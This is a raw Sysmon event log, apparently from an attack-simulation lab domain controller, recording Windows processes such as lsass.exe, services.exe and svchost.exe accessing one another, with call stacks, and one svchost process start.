09:09:28.965{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28C8-5F80-2700-000000007F01}2496C:\Windows\System32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001161Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:28.965{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28C8-5F80-2700-000000007F01}2496C:\Windows\System32\svchost.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001160Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:28.965{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28C8-5F80-2700-000000007F01}2496C:\Windows\System32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001159Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:28.950{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28C8-5F80-2700-000000007F01}2496C:\Windows\System32\svchost.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001158Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:28.950{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28C8-5F80-2700-000000007F01}2496C:\Windows\System32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001157Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:28.950{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28C8-5F80-2700-000000007F01}2496C:\Windows\System32\svchost.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001156Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:28.950{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28C8-5F80-2700-000000007F01}2496C:\Windows\System32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001155Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:28.950{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28C8-5F80-2700-000000007F01}2496C:\Windows\System32\svchost.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001154Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:28.950{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28C8-5F80-2700-000000007F01}2496C:\Windows\System32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001153Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:28.950{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28C8-5F80-2700-000000007F01}2496C:\Windows\System32\svchost.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001152Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:28.950{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28C8-5F80-2700-000000007F01}2496C:\Windows\System32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001151Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:28.950{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28C8-5F80-2700-000000007F01}2496C:\Windows\System32\svchost.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001150Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:28.950{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28C8-5F80-2700-000000007F01}2496C:\Windows\System32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001149Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:28.950{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28BC-5F80-0100-000000007F01}4System0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001148Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:28.950{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28BC-5F80-0100-000000007F01}4System0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001147Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:28.903{A5F018FF-28BD-5F80-0A00-000000007F01}852944C:\Windows\system32\services.exe{A5F018FF-28C8-5F80-2700-000000007F01}2496C:\Windows\System32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\services.exe+18ff|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001146Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:28.903{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-28C8-5F80-2700-000000007F01}2496C:\Windows\System32\svchost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001145Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:28.903{A5F018FF-28BD-5F80-0A00-000000007F01}852940C:\Windows\system32\services.exe{A5F018FF-28C8-5F80-2700-000000007F01}2496C:\Windows\System32\svchost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|C:\Windows\system32\services.exe+12939|C:\Windows\system32\services.exe+66f4|C:\Windows\system32\services.exe+52f1|C:\Windows\system32\services.exe+d7ae|C:\Windows\system32\services.exe+20a11|C:\Windows\SYSTEM32\ntdll.dll+2b9ae|C:\Windows\SYSTEM32\ntdll.dll+29bc4|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001144Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:28.907{A5F018FF-28C8-5F80-2700-000000007F01}2496C:\Windows\System32\svchost.exe10.0.14393.0 (rs1_release.160715-1616)Host Process for Windows ServicesMicrosoft® Windows® Operating SystemMicrosoft Corporationsvchost.exeC:\Windows\System32\svchost.exe -k smbsvcsC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=36F670D89040709013F6A460176767EC,SHA256=438B6CCD84F4DD32D9684ED7D58FD7D1E5A75FE3F3D12AB6C788E6BB0FFAD5E7,IMPHASH=2CED93915677390B76EE1916B92F3EF6{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\System32\services.exeC:\Windows\system32\services.exe 10341000x80000000000000001143Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:28.903{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001142Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:28.903{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001141Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:28.903{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001140Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:28.903{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001139Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:28.012{A5F018FF-28BF-5F80-1100-000000007F01}12001312C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x100000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|c:\windows\system32\es.dll+118e5|c:\windows\system32\es.dll+13b72|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+7d09|C:\Windows\System32\combase.dll+22b9|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be 10341000x80000000000000001138Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 